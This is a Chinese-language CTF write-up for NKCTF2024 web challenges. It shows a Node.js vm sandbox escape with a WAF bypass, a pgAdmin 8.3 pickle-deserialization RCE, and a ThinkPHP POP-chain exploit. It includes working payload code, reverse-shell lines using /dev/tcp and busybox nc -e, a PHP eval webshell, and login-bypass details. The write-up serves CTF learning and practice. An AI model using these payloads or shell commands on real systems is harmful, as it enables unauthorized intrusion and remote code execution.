NKCTF2024 WP WEB

my first cms

CVE-2024-27622:https://github.com/capture0x/CMSMadeSimple/

后台弱口令Admin/Admin123(你确定这是弱口令😡),进去打就行
image.png

全世界最简单的CTF

Nodejs沙箱逃逸,sandbox为null的情况,参考:vm沙箱逃逸的一些其他情况

function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

processchild_process使用url编码绕过,execSync方法通过Reflect.get获取。直接反弹shell

throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const bb = decodeURIComponent('%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73');
        const cp = decodeURIComponent('%63%68%69%6c%64%5f%70%72%6f%63%65%73%73');
        const es = decodeURIComponent('%65%78%65%63%53%79%6e%63');
        const p = (cc.constructor.constructor(bb))();
        const childProcess = p.mainModule.require(cp);
        const e = Reflect.get(childProcess, es);
        return e('bash -c "bash -i >& /dev/tcp/ip/9898 0>&1"').toString();
    }
})

get flag
image.png

attack

pgAdmin8.3 RCE 参考:pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

原理比较简单,在处理pga4_session(格式为<sid>!<digest>)的时候,程序会将sid所指的文件读取并使用pickle反序列化。这道题给了登录用户tacooooo@qq.com/tacooooo,Storage Manager上传为位置为../storage/tacooooo_qq.com/。题目没有bash和curl,通过本地对漏洞的复现知道了Storage Manager上传的绝对路径可能为/var/lib/pgadmin/storage/tacooooo_qq.com/,那就可以把命令执行的结果写到这个目录下,然后下载。

解题流程如下:

  • 使用脚本生成skky.pkl
import struct

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b


cmd = "ls / >> /var/lib/pgadmin/storage/tacooooo_qq.com/result"
content = produce_pickle_bytes('posix', f"{cmd}")
with open('skky.pkl', 'wb') as f:
    f.write(content)
  • 登录用户选择Tools > Storage Manager上传pkl
image.png
  • 构造Cookie: pga4_session=../storage/tacooooo_qq.com/skky.pkl!a访问触发反序列化
image.png
  • 下载result查看执行结果
image.png

执行ls -la /bin/sh发现有busybox

lrwxrwxrwx    1 root     root            12 Jan 26 17:53 /bin/sh -> /bin/busybox

可以用busybox提供的nc弹一个sh的shell

/bin/busybox nc xxxxxx 9999 -e /bin/sh

最后在/run.sh进程的环境变量中找到flag cat /proc/1/environ
image.png

用过就是熟悉

打开源码,找到提示文件app/controller/user/think/hinthinthinthinthinthinthint.php。全局搜索文件名称hinthinthinthinthinthinthint.php,在app/controller/user/think/Testone.php中有将hinthinthinthinthinthinthint.php$content写入的功能

<?php

namespace think;
header('Content-Type: text/html; charset=UTF-8');
abstract class Testone
{

    //The end of the unserialize.
    public function countTxtFiles($directory) {
        $txtFiles = glob($directory . '/*.txt');
        foreach ($txtFiles as $txtFile) {
            if (is_file($txtFile)) {
                unlink($txtFile);
            }
        }
    }


    public function __call($name, $arguments)
    {
        $a = time();
        if ($arguments[0]['time']==='10086'){
            $this->countTxtFiles("./app/controller/user/think/");
            include('./app/controller/user/think/hinthinthinthinthinthinthint.php');
            file_put_contents('./app/controller/user/think/'.md5($a),$content);
        }
    }
}

同时,处理登录处存在反序列化
image.png

POP链构造不是很复杂,需要注意的就是namespace和Testone的实现类

windows::__destruct -> removeFiles() -> collection::__toString -> view::__get -> Debug::__call

POP构造如下:

<?php
namespace think\process\pipes;
use think\Collection;

class Windows {
    public function __construct()
    {
        $this->fileHandles = [];
        $this->files = [new Collection()];
    }
}


namespace think;
class Collection{
    public function __construct()
    {
        $this->items = new View();
    }

}

namespace think;
class View{
    public function __construct()
    {
        $this->data = array("Loginout" => new Debug());
        $this->engine = array("time" =>"10086");
    }
}

namespace think;
class Debug {
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoyOntzOjExOiJmaWxlSGFuZGxlcyI7YTowOnt9czo1OiJmaWxlcyI7YToxOntpOjA7TzoxNjoidGhpbmtcQ29sbGVjdGlvbiI6MTp7czo1OiJpdGVtcyI7TzoxMDoidGhpbmtcVmlldyI6Mjp7czo0OiJkYXRhIjthOjE6e3M6ODoiTG9naW5vdXQiO086MTE6InRoaW5rXERlYnVnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoidGltZSI7czo1OiIxMDA4NiI7fX19fX0=

使用guest登录
image.png

Testone写的文件名称为md5(time()),返回的timeNow记录了处理登录的时间戳。因为time()返回时间是秒级的,而这两个操作的时间间隔不到秒级,所以可以用登录的timeNow来计算文件名称。

echo md5("1711282943");	// d1ff1f67b68695a5fb4521be6aa8cd3f

访问/app/controller/user/think/1711283010d1ff1f67b68695a5fb4521be6aa8cd3f拿到hint,内容大致如下:

......

<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>

......

POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

这里会发现前段提交的 password 会被 js 编码一次,而后端在校验前会对其进行解码
image.png

直接复制解码代码得到明文,同时根据提示得到密码:!@!@!@!@NKCTFChu0。登录guest账户,回收站中的新建文件.html应该就是前面hint所指的
image.png

其中给出了shell文件/data/files/shell

/var/www/html/data/files/shell

<?php eval($_POST['0']); ?>

虽然这里可以文件上传,但显然是传不了shell的(难不成让你挖0day?)。结合提示的内容往文件包含的思路想。全局搜索include(,不难找到在app/controller/user/think/Config.php存在反序列化利用点,和开始一样在一个__call
image.png

修改之前POP链的部分

namespace think;
class View{
    public function __construct()
    {
        $this->data = array("Loginout" => new Config());
        $this->engine = array("name" =>"./../../../../../../var/www/html/data/files/shell");
    }
}

namespace think;
class Config{}

弹shell
image.png

getflag
image.png